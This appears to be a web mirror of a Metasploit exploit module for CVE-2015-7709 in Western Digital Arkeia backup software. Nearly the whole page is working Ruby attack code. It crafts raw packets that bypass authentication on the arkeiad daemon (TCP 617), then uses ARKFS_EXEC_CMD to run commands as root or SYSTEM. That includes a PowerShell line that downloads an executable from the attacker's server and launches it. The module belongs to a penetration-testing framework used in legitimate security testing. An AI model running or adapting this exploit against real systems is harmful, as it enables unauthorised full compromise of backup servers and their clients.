CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/arkeia_agent_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::HttpServer::HTML
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'Western Digital Arkeia Remote Code Execution',
17
'Description' => %q{
18
This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below.
19
The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are
20
insufficient checks on the authentication of all clients, this can be bypassed.
21
Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or
22
SYSTEM privileges.
23
The daemon is installed on both the Arkeia server as well on all the backup clients. The module
24
has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD.
25
},
26
'Author' =>
27
[
28
'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
29
],
30
'License' => MSF_LICENSE,
31
'References' =>
32
[
33
[ 'CVE', '2015-7709' ],
34
[ 'EDB', '37600' ],
35
[ 'URL', 'https://seclists.org/fulldisclosure/2015/Jul/54' ]
36
],
37
'Privileged' => true,
38
'Stance' => Msf::Exploit::Stance::Aggressive,
39
'Payload' =>
40
{
41
'DisableNops' => true
42
},
43
'Targets' =>
44
[
45
[ 'Windows',
46
{
47
'Arch' => ARCH_X86,
48
'Platform' => 'win',
49
}
50
],
51
[ 'Linux',
52
{
53
'Arch' => ARCH_CMD,
54
'Platform' => 'unix',
55
'Payload' =>
56
{
57
'DisableNops' => true,
58
'Space' => 60000,
59
'Compat' => {
60
'PayloadType' => 'cmd cmd_bash',
61
'RequiredCmd' => 'perl python bash-tcp gawk openssl'
62
}
63
}
64
}
65
]
66
],
67
'DefaultTarget' => 0,
68
'DisclosureDate' => '2015-07-10'))
69
70
register_options(
71
[
72
Opt::RPORT(617),
73
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15])
74
])
75
end
76
77
def check
78
connect
79
80
req = "\x00\x41"
81
req << "\x00" * 5
82
req << "\x73"
83
req << "\x00" * 12
84
req << "\xc0\xa8\x02\x74"
85
req << "\x00" * 56
86
req << "\x74\x02\xa8\xc0"
87
req << 'ARKADMIN'
88
req << "\x00"
89
req << 'root'
90
req << "\x00"
91
req << 'root'
92
req << "\x00" * 3
93
req << '4.3.0-1' # version?
94
req << "\x00" * 11
95
96
sock.put(req)
97
98
header = sock.get_once(6)
99
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
100
disconnect
101
return Exploit::CheckCode::Unknown
102
end
103
104
data_length = sock.get_once(2)
105
106
unless data_length && data_length.length == 2
107
disconnect
108
return Exploit::CheckCode::Unknown
109
end
110
111
data_length = data_length.unpack('n')[0]
112
113
data = sock.get_once(data_length)
114
unless data && data.length == data_length
115
disconnect
116
return Exploit::CheckCode::Unknown
117
end
118
119
req = "\x00\x73"
120
req << "\x00" * 5
121
req << "\x0c\x32"
122
req << "\x00" * 11
123
124
sock.put(req)
125
header = sock.get_once(6)
126
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
127
disconnect
128
return Exploit::CheckCode::Unknown
129
end
130
131
data_length = sock.get_once(2)
132
133
unless data_length && data_length.length == 2
134
disconnect
135
return Exploit::CheckCode::Unknown
136
end
137
138
data_length = data_length.unpack('n')[0]
139
140
data = sock.get_once(data_length)
141
unless data && data.length == data_length
142
disconnect
143
return Exploit::CheckCode::Unknown
144
end
145
146
req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00"
147
req << 'EN' # Language
148
req << "\x00" * 11
149
150
sock.put(req)
151
header = sock.get_once(6)
152
153
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
154
disconnect
155
return Exploit::CheckCode::Unknown
156
end
157
158
data_length = sock.get_once(2)
159
160
unless data_length && data_length.length == 2
161
disconnect
162
return Exploit::CheckCode::Unknown
163
end
164
165
data_length = data_length.unpack('n')[0]
166
167
unless data_length == 0
168
disconnect
169
return Exploit::CheckCode::Unknown
170
end
171
172
# ARKADMIN_GET_CLIENT_INFO
173
req = "\x00\x62\x00\x01"
174
req << "\x00" * 3
175
req << "\x26"
176
req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information
177
req << "\x00\x32\x38"
178
req << "\x00" * 11
179
180
sock.put(req)
181
182
header = sock.get_once(6)
183
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
184
disconnect
185
return Exploit::CheckCode::Unknown
186
end
187
188
data_length = sock.get_once(2)
189
190
unless data_length && data_length.length == 2
191
disconnect
192
return Exploit::CheckCode::Unknown
193
end
194
195
data_length = data_length.unpack('n')[0]
196
unless data_length == 0
197
disconnect
198
return Exploit::CheckCode::Unknown
199
end
200
201
req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38"
202
req << "\x00" * 12
203
204
sock.put(req)
205
206
# 1st packet
207
208
header = sock.get_once(6)
209
unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
210
disconnect
211
return Exploit::CheckCode::Unknown
212
end
213
214
data_length = sock.get_once(2)
215
216
unless data_length && data_length.length == 2
217
disconnect
218
return Exploit::CheckCode::Unknown
219
end
220
221
data_length = data_length.unpack('n')[0]
222
223
data = sock.get_once(data_length)
224
unless data && data.length == data_length
225
disconnect
226
return Exploit::CheckCode::Unknown
227
end
228
229
# 2nd packet
230
231
header = sock.get_once(6)
232
unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
233
disconnect
234
return Exploit::CheckCode::Unknown
235
end
236
237
data_length = sock.get_once(2)
238
239
unless data_length && data_length.length == 2
240
disconnect
241
return Exploit::CheckCode::Unknown
242
end
243
244
data_length = data_length.unpack('n')[0]
245
246
data = sock.get_once(data_length)
247
unless data && data.length == data_length
248
disconnect
249
return Exploit::CheckCode::Unknown
250
end
251
252
# 3rd packet
253
254
header = sock.get_once(6)
255
unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04"
256
disconnect
257
return Exploit::CheckCode::Unknown
258
end
259
260
data_length = sock.get_once(2)
261
262
unless data_length && data_length.length == 2
263
disconnect
264
return Exploit::CheckCode::Unknown
265
end
266
267
data_length = data_length.unpack('n')[0]
268
269
data = sock.get_once(data_length)
270
unless data && data.length == data_length && data.include?('You have successfully retrieved client information')
271
disconnect
272
return Exploit::CheckCode::Unknown
273
end
274
275
# 4th packet
276
277
header = sock.get_once(6)
278
unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04"
279
disconnect
280
return Exploit::CheckCode::Unknown
281
end
282
283
data_length = sock.get_once(2)
284
285
unless data_length && data_length.length == 2
286
disconnect
287
return Exploit::CheckCode::Unknown
288
end
289
290
data_length = data_length.unpack('n')[0]
291
292
data = sock.get_once(data_length)
293
unless data && data.length == data_length
294
disconnect
295
return Exploit::CheckCode::Unknown
296
end
297
298
if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/
299
version = $1
300
vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}")
301
if Rex::Version.new(version) <= Rex::Version.new('11.0.12')
302
return Exploit::CheckCode::Appears
303
else
304
return Exploit::CheckCode::Safe
305
end
306
else
307
vprint_status("#{rhost}:#{rport} - Arkeia version not detected")
308
return Exploit::CheckCode::Unknown
309
end
310
end
311
312
def exploit
313
if target.name =~ /Windows/
314
315
@down_file = rand_text_alpha(8+rand(8))
316
@pl = generate_payload_exe
317
318
begin
319
Timeout.timeout(datastore['HTTP_DELAY']) {super}
320
rescue Timeout::Error
321
end
322
elsif target.name =~ /Linux/
323
communicate(payload.encoded)
324
return
325
end
326
end
327
328
def primer
329
@payload_url = get_uri
330
331
# PowerShell web download. The char replacement is needed because using the "/" character twice (like http://)
332
# is not possible on Windows agents.
333
command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";"
334
command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"
335
command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""
336
337
communicate(command)
338
end
339
340
def communicate(command)
341
print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")
342
343
connect
344
345
print_status("#{rhost}:#{rport} - Sending agent communication")
346
347
req = "\x00\x41\x00\x00\x00\x00\x00\x70"
348
req << "\x00" * 12
349
req << "\xc0\xa8\x02\x8a"
350
req << "\x00" * 56
351
req << "\x8a\x02\xa8\xc0"
352
req << 'ARKFS'
353
req << "\x00"
354
req << 'root'
355
req << "\x00"
356
req << 'root'
357
req << "\x00" * 3
358
req << '4.3.0-1' # Client version ?
359
req << "\x00" * 11
360
361
sock.put(req)
362
363
header = sock.get_once(6)
364
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
365
disconnect
366
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
367
end
368
369
data_length = sock.get_once(2)
370
371
unless data_length && data_length.length == 2
372
disconnect
373
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
374
end
375
376
data_length = data_length.unpack('n')[0]
377
378
data = sock.get_once(data_length)
379
unless data && data.length == data_length
380
disconnect
381
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
382
end
383
384
req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"
385
req << "\x00" * 11
386
387
sock.put(req)
388
header = sock.get_once(6)
389
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
390
disconnect
391
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
392
end
393
394
data_length = sock.get_once(2)
395
396
unless data_length && data_length.length == 2
397
disconnect
398
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
399
end
400
401
data_length = data_length.unpack('n')[0]
402
403
data = sock.get_once(data_length)
404
unless data && data.length == data_length
405
disconnect
406
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
407
end
408
409
req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"
410
req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?
411
req << "\x00"
412
req << 'EN' # English language?
413
req << "\x00" * 11
414
415
sock.put(req)
416
header = sock.get_once(6)
417
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
418
disconnect
419
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
420
end
421
422
data_length = sock.get_once(2)
423
424
unless data_length && data_length.length == 2
425
disconnect
426
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
427
end
428
429
data_length = data_length.unpack('n')[0]
430
431
unless data_length == 0
432
disconnect
433
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
434
end
435
436
req = "\x00\x62\x00\x01\x00\x02\x00\x1b"
437
req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges
438
req << "\x00\x31"
439
req << "\x00" * 11
440
441
sock.put(req)
442
443
header = sock.get_once(6)
444
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
445
disconnect
446
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
447
end
448
449
data_length = sock.get_once(2)
450
451
unless data_length && data_length.length == 2
452
disconnect
453
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
454
end
455
456
data_length = data_length.unpack('n')[0]
457
458
unless data_length == 0
459
disconnect
460
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
461
end
462
463
req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"
464
req << "\x00" * 11
465
466
sock.put(req)
467
468
command_length = '%02x' % command.length
469
command_length = command_length.scan(/../).map { |x| x.hex.chr }.join
470
471
req = "\x00\x64\x00\x04\x00\x04"
472
req << [command.length].pack('n')
473
req << command # Our command to be executed
474
req << "\x00"
475
476
print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")
477
478
sock.put(req)
479
480
header = sock.get_once(6)
481
unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
482
disconnect
483
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
484
end
485
486
data_length = sock.get_once(2)
487
488
unless data_length && data_length.length == 2
489
disconnect
490
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
491
end
492
493
data_length = data_length.unpack('n')[0]
494
495
data = sock.get_once(data_length)
496
unless data && data.length == data_length
497
disconnect
498
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
499
end
500
501
# 1st Packet
502
503
header = sock.get_once(6)
504
unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
505
disconnect
506
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
507
end
508
509
data_length = sock.get_once(2)
510
511
unless data_length && data_length.length == 2
512
disconnect
513
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
514
end
515
516
data_length = data_length.unpack('n')[0]
517
518
data = sock.get_once(data_length)
519
unless data && data.length == data_length
520
disconnect
521
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
522
end
523
524
# 2st Packet
525
526
header = sock.get_once(6)
527
unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
528
disconnect
529
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
530
end
531
532
data_length = sock.get_once(2)
533
534
unless data_length && data_length.length == 2
535
disconnect
536
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
537
end
538
539
data_length = data_length.unpack('n')[0]
540
541
data = sock.get_once(data_length)
542
unless data && data.length == data_length
543
disconnect
544
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
545
end
546
end
547
548
def on_request_uri(cli, request)
549
print_status("Request: #{request.uri}")
550
if request.uri == get_resource
551
print_status('Sending payload...')
552
send_response(cli, @pl)
553
register_files_for_cleanup("c:\\#{@down_file}.exe")
554
end
555
end
556
557
def autofilter
558
true
559
end
560
end
561
562